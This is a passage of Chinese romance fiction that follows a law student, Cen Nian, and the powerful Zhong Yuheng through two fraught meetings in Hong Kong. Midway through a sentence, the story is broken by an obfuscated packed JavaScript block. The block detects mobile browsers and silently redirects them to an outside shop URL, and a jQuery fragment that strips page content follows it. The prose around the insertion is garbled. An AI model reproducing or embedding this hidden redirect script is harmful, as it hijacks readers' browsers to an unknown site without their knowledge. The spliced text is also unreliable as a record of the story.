他们第一次遇见，不该在名利场。
有人评称他们的相遇为——“错处相逢，最是意难平。”
那是岑念大四那年。
港大本部大楼（TheMainBuilding）的钟楼下
毕业将近，法学年一的少女，一身素简，眉眼温软。
未经世事打磨，不具刀锋戾气，在一切浮华开始之前，她尚且拥有最干净的模样。
她刚从法学院教授的办公室出来。
手里攥着的不是顶级律所的录取信，而是一份由钟氏家族办公室拟定的、关于岑家信托基金的特殊“限制协议”。
协议的末尾，那个冷峻的签名字迹还没干透：TychoChung。（钟聿衡）
她在陆佑堂的红砖长廊上走得极快，风如何吹乱她的发丝她都无心管辖。
转角仓促，她撞上了一个人。
长衫卓立，周身校董与权贵环绕，满耳皆是刻意的奉承。
他正偏头听着旁人的奉承，眉眼淡漠，眼底沉落着化不开的荒芜寂寥。
那是钟聿衡。
她认得他。
这天他重回港大，为荣誉校友捐赠仪式而来。
她手里散落的法律协议铺了满地，其中一张正巧落在他的皮鞋边。成为这场偶遇最突兀的交集。
他弯腰，修长的手指捡起那张纸。
目光扫过纸面上那些冰冷的法律条文，又抬眼看向面前，这个，清瘦、倔强、眼神里还带着点没被磨灭的文学傲气的姑娘。
“法律是用来保护弱者的，念小姐。”
他把纸递还给她，语气凉得像薄扶林道深夜的雾。
“但在这里，你选错了路。”
寥寥数言，初遇成劫，枷锁自此而生。
第二次遇见：一年后，半岛酒店的“处刑场”
岑念已经成了岑家最得力的救火队。
她刚面无表情地处理完一个纠缠庄家公子的模特，正坐在包厢里，用纸巾擦拭指甲上不小心沾到的一点咖啡渍。
房门被推开。
钟聿衡跟着保镖走进来，这场局，他就是来审批岑家递上来的巨额公关预算的。
那四目相对的那一刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495806|202495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，他清清楚楚看着，当年那个眼里有光的姑娘，如今穿着一身黑裙，捧着结案报告。
“钟先生，又见面了。”她没站起来，微微颔首，声音里听不出半点波澜。
钟聿衡站在光影交界处，镜片后的眼底闪过一丝名为，极深的、极暗的“妄念”。
他发现自己竟然很想看她哭。
或者说，他想看看她在他身下哭。
想扯开她的伪装，想窥探她灵魂深处的残存，想确认那份少年意气，是否真的被这浮华场彻底吞噬。
这种初见，美在：
“我识你于微时，却亲手毁了你的微时”。
钟聿衡见过她最初心怀理想的模样，可他却先一步陷在权力的逻辑里，亲手把她的纯粹碾碎，把她当成了可以随意拿捏。
没有年少的惺惺相惜，只有先入为主的利用与算计，也正是这份一开始就错位的亏欠，成了后来他甘愿低头的缘由。
明明是第二次遇见，却早已没了最初的干净，只剩满场的荒唐与身不由己。
而故事的最开始却也已经是巧言令色的后来。